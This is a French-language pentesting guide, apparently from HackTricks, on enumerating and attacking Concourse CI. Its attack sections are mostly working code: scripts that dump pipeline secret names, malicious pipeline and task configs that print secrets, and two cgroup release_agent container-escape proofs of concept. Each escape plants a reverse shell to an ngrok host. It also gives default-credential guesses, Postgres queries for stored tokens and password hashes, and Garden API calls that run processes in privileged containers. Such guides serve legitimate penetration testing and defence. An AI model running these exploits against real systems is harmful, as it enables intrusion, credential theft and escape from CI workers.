# Concourse Enumeration & Attacks

## Concourse Enumeration & Attacks

{{#include ../../banners/hacktricks-training.md}}

### Rôles et Permissions des Utilisateurs

Concourse dispose de cinq rôles :

- _Concourse_ **Admin** : Ce rôle est uniquement attribué aux propriétaires de l'**équipe principale** (équipe concourse initiale par défaut). Les admins peuvent **configurer d'autres équipes** (par exemple : `fly set-team`, `fly destroy-team`...). Les permissions de ce rôle ne peuvent pas être affectées par RBAC.
- **owner** : Les propriétaires d'équipe peuvent **modifier tout au sein de l'équipe**.
- **member** : Les membres de l'équipe peuvent **lire et écrire** au sein des **ressources de l'équipe** mais ne peuvent pas modifier les paramètres de l'équipe.
- **pipeline-operator** : Les opérateurs de pipeline peuvent effectuer des **opérations de pipeline** telles que déclencher des builds et épingler des ressources, cependant ils ne peuvent pas mettre à jour les configurations de pipeline.
- **viewer** : Les visualisateurs d'équipe ont un accès **"lecture seule" à une équipe** et à ses pipelines.

> [!NOTE]
> De plus, les **permissions des rôles owner, member, pipeline-operator et viewer peuvent être modifiées** en configurant RBAC (en configurant plus spécifiquement ses actions). Lisez-en plus à ce sujet dans : [https://concourse-ci.org/user-roles.html](https://concourse-ci.org/user-roles.html)

Notez que Concourse **groupe les pipelines à l'intérieur des Équipes**. Par conséquent, les utilisateurs appartenant à une Équipe pourront gérer ces pipelines et **plusieurs Équipes** peuvent exister. Un utilisateur peut appartenir à plusieurs Équipes et avoir des permissions différentes à l'intérieur de chacune d'elles.

### Vars & Gestionnaire de Credentials

Dans les configurations YAML, vous pouvez configurer des valeurs en utilisant la syntaxe `((_source-name_:_secret-path_._secret-field_))`.\
[Selon la documentation :](https://concourse-ci.org/vars.html#var-syntax) Le **source-name est optionnel**, et s'il est omis, le [gestionnaire de credentials à l'échelle du cluster](https://concourse-ci.org/vars.html#cluster-wide-credential-manager) sera utilisé, ou la valeur peut être fournie [statiquement](https://concourse-ci.org/vars.html#static-vars).\
Le **\_secret-field optionnel**\_ spécifie un champ sur le secret récupéré à lire. S'il est omis, le gestionnaire de credentials peut choisir de lire un 'champ par défaut' à partir du credential récupéré si le champ existe.\
De plus, le _**secret-path**_ et le _**secret-field**_ peuvent être entourés de guillemets doubles `"..."` s'ils **contiennent des caractères spéciaux** comme `.` et `:`. Par exemple, `((source:"my.secret"."field:1"))` définira le _secret-path_ sur `my.secret` et le _secret-field_ sur `field:1`.

#### Vars Statiques

Les vars statiques peuvent être spécifiées dans les **étapes de tâches** :
```yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }
```
Ou en utilisant les `fly` **arguments** suivants :

- `-v` ou `--var` `NAME=VALUE` définit la chaîne `VALUE` comme la valeur pour la var `NAME`.
- `-y` ou `--yaml-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var `NAME`.
- `-i` ou `--instance-var` `NAME=VALUE` analyse `VALUE` comme YAML et le définit comme la valeur pour la var d'instance `NAME`. Voir [Grouping Pipelines](https://concourse-ci.org/instanced-pipelines.html) pour en savoir plus sur les vars d'instance.
- `-l` ou `--load-vars-from` `FILE` charge `FILE`, un document YAML contenant le mappage des noms de vars aux valeurs, et les définit tous.

#### Gestion des Identifiants

Il existe différentes manières de **spécifier un Gestionnaire d'Identifiants** dans un pipeline, lisez comment dans [https://concourse-ci.org/creds.html](https://concourse-ci.org/creds.html).\
De plus, Concourse prend en charge différents gestionnaires d'identifiants :

- [Le gestionnaire d'identifiants Vault](https://concourse-ci.org/vault-credential-manager.html)
- [Le gestionnaire d'identifiants CredHub](https://concourse-ci.org/credhub-credential-manager.html)
- [Le gestionnaire d'identifiants AWS SSM](https://concourse-ci.org/aws-ssm-credential-manager.html)
- [Le gestionnaire d'identifiants AWS Secrets Manager](https://concourse-ci.org/aws-asm-credential-manager.html)
- [Gestionnaire d'Identifiants Kubernetes](https://concourse-ci.org/kubernetes-credential-manager.html)
- [Le gestionnaire d'identifiants Conjur](https://concourse-ci.org/conjur-credential-manager.html)
- [Mise en cache des identifiants](https://concourse-ci.org/creds-caching.html)
- [Rédaction des identifiants](https://concourse-ci.org/creds-redacting.html)
- [Réessayer les récupérations échouées](https://concourse-ci.org/creds-retry-logic.html)

> [!CAUTION]
> Notez que si vous avez un certain type d'**accès en écriture à Concourse**, vous pouvez créer des jobs pour **exfiltrer ces secrets** car Concourse doit pouvoir y accéder.

### Énumération Concourse

Pour énumérer un environnement concourse, vous devez d'abord **rassembler des identifiants valides** ou trouver un **jeton authentifié**, probablement dans un fichier de configuration `.flyrc`.

#### Connexion et énumération de l'utilisateur actuel

- Pour vous connecter, vous devez connaître l'**endpoint**, le **nom de l'équipe** (par défaut `main`) et une **équipe à laquelle l'utilisateur appartient** :
- `fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]`
- Obtenez les **cibles configurées** :
- `fly targets`
- Vérifiez si la **connexion cible configurée** est toujours **valide** :
- `fly -t <target> status`
- Obtenez le **rôle** de l'utilisateur par rapport à la cible indiquée :
- `fly -t <target> userinfo`

> [!NOTE]
> Notez que le **jeton API** est **enregistré** par défaut dans `$HOME/.flyrc`, en fouillant une machine, vous pourriez y trouver les identifiants.

#### Équipes & Utilisateurs

- Obtenez une liste des Équipes
- `fly -t <target> teams`
- Obtenez les rôles au sein de l'équipe
- `fly -t <target> get-team -n <team-name>`
- Obtenez une liste des utilisateurs
- `fly -t <target> active-users`

#### Pipelines

- **Lister** les pipelines :
- `fly -t <target> pipelines -a`
- **Obtenez** le yaml du pipeline (**des informations sensibles** peuvent être trouvées dans la définition) :
- `fly -t <target> get-pipeline -p <pipeline-name>`
- Obtenez toutes les **vars déclarées dans la config du pipeline**
- `for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done`
- Obtenez tous les **noms de secrets de pipelines utilisés** (si vous pouvez créer/modifier un job ou détourner un conteneur, vous pourriez les exfiltrer) :
```bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt
```
#### Conteneurs & Travailleurs

- Lister **travailleurs** :
- `fly -t <target> workers`
- Lister **conteneurs** :
- `fly -t <target> containers`
- Lister **builds** (pour voir ce qui est en cours d'exécution) :
- `fly -t <target> builds`

### Attaques Concourse

#### Brute-Force des Identifiants

- admin:admin
- test:test

#### Énumération des Secrets et paramètres

Dans la section précédente, nous avons vu comment vous pouvez **obtenir tous les noms et vars des secrets** utilisés par le pipeline. Les **vars peuvent contenir des informations sensibles** et le nom des **secrets sera utile plus tard pour essayer de les voler**.

#### Session à l'intérieur d'un conteneur en cours d'exécution ou récemment exécuté

Si vous avez suffisamment de privilèges (**rôle membre ou plus**), vous serez en mesure de **lister les pipelines et les rôles** et d'obtenir simplement une **session à l'intérieur** du conteneur `<pipeline>/<job>` en utilisant :
```bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options
```
Avec ces permissions, vous pourriez être en mesure de :

- **Voler les secrets** à l'intérieur du **conteneur**
- Essayer de **s'échapper** vers le nœud
- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud, si possible)

#### Création/Modification de Pipeline

Si vous avez suffisamment de privilèges (**rôle de membre ou plus**), vous pourrez **créer/modifier de nouveaux pipelines.** Vérifiez cet exemple :
```yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```
Avec la **modification/création** d'un nouveau pipeline, vous pourrez :

- **Voler** les **secrets** (en les affichant ou en accédant au conteneur et en exécutant `env`)
- **Échapper** au **nœud** (en vous donnant suffisamment de privilèges - `privileged: true`)
- Énumérer/Abuser de l'endpoint **cloud metadata** (depuis le pod et depuis le nœud)
- **Supprimer** le pipeline créé

#### Exécuter une tâche personnalisée

C'est similaire à la méthode précédente, mais au lieu de modifier/créer un tout nouveau pipeline, vous pouvez **juste exécuter une tâche personnalisée** (ce qui sera probablement beaucoup plus **discret**) :
```yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
```

```bash
fly -t tutorial execute --privileged --config task_config.yml
```
#### Évasion vers le nœud depuis une tâche privilégiée

Dans les sections précédentes, nous avons vu comment **exécuter une tâche privilégiée avec concourse**. Cela ne donnera pas au conteneur exactement le même accès que le drapeau privilégié dans un conteneur docker. Par exemple, vous ne verrez pas le périphérique du système de fichiers du nœud dans /dev, donc l'évasion pourrait être plus "complexe".

Dans le PoC suivant, nous allons utiliser le release_agent pour échapper avec quelques petites modifications :
```bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
> [!WARNING]
> Comme vous l'avez peut-être remarqué, il s'agit simplement d'une [**évasion régulière de release_agent**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/concourse-security/broken-reference/README.md) en modifiant simplement le chemin de la cmd dans le nœud

#### Évasion vers le nœud depuis un conteneur Worker

Une évasion régulière de release_agent avec une légère modification suffit pour cela :
```bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output
```
#### Évasion vers le nœud depuis le conteneur Web

Même si le conteneur web a certaines défenses désactivées, il **ne fonctionne pas comme un conteneur privilégié commun** (par exemple, vous **ne pouvez pas** **monter** et les **capacités** sont très **limitées**, donc toutes les façons simples de s'échapper du conteneur sont inutiles).

Cependant, il stocke **des identifiants locaux en clair** :
```bash
cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test
```
Vous pouvez utiliser ces identifiants pour **vous connecter au serveur web** et **créer un conteneur privilégié et échapper au nœud**.

Dans l'environnement, vous pouvez également trouver des informations pour **accéder à l'instance postgresql** que concourse utilise (adresse, **nom d'utilisateur**, **mot de passe** et base de données parmi d'autres informations) :
```bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;
```
#### Abuser du service Garden - Pas une véritable attaque

> [!WARNING]
> Ce ne sont que quelques notes intéressantes sur le service, mais comme il n'écoute que sur localhost, ces notes n'auront aucun impact que nous n'avons pas déjà exploité auparavant.

Par défaut, chaque worker concourse exécutera un [**Garden**](https://github.com/cloudfoundry/garden) sur le port 7777. Ce service est utilisé par le Web master pour indiquer au worker **ce qu'il doit exécuter** (télécharger l'image et exécuter chaque tâche). Cela semble plutôt bon pour un attaquant, mais il y a quelques bonnes protections :

- Il est **exposé localement** (127..0.0.1) et je pense que lorsque le worker s'authentifie contre le Web avec le service SSH spécial, un tunnel est créé afin que le serveur web puisse **communiquer avec chaque service Garden** à l'intérieur de chaque worker.
- Le serveur web **surveille les conteneurs en cours d'exécution toutes les quelques secondes**, et les conteneurs **inattendus** sont **supprimés**. Donc, si vous voulez **exécuter un conteneur personnalisé**, vous devez **manipuler** la **communication** entre le serveur web et le service garden.

Les workers concourse s'exécutent avec des privilèges élevés de conteneur :
```
Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled
```
Cependant, des techniques comme **monter** le périphérique /dev du nœud ou release_agent **ne fonctionneront pas** (car le véritable périphérique avec le système de fichiers du nœud n'est pas accessible, seulement un virtuel). Nous ne pouvons pas accéder aux processus du nœud, donc s'échapper du nœud sans exploits du noyau devient compliqué.

> [!NOTE]
> Dans la section précédente, nous avons vu comment s'échapper d'un conteneur privilégié, donc si nous pouvons **exécuter** des commandes dans un **conteneur privilégié** créé par le **travailleur** **actuel**, nous pourrions **s'échapper vers le nœud**.

Notez qu'en jouant avec concourse, j'ai remarqué que lorsqu'un nouveau conteneur est créé pour exécuter quelque chose, les processus du conteneur sont accessibles depuis le conteneur du travailleur, donc c'est comme un conteneur créant un nouveau conteneur à l'intérieur de lui.

**Entrer dans un conteneur privilégié en cours d'exécution**
```bash
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh
```
**Créer un nouveau conteneur privilégié**

Vous pouvez très facilement créer un nouveau conteneur (il suffit d'exécuter un UID aléatoire) et d'exécuter quelque chose dessus :
```bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
Cependant, le serveur web vérifie toutes les quelques secondes les conteneurs en cours d'exécution, et si un conteneur inattendu est découvert, il sera supprimé. Comme la communication se fait en HTTP, vous pourriez altérer la communication pour éviter la suppression de conteneurs inattendus :
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
## Références

- https://concourse-ci.org/vars.html

{{#include ../../banners/hacktricks-training.md}}
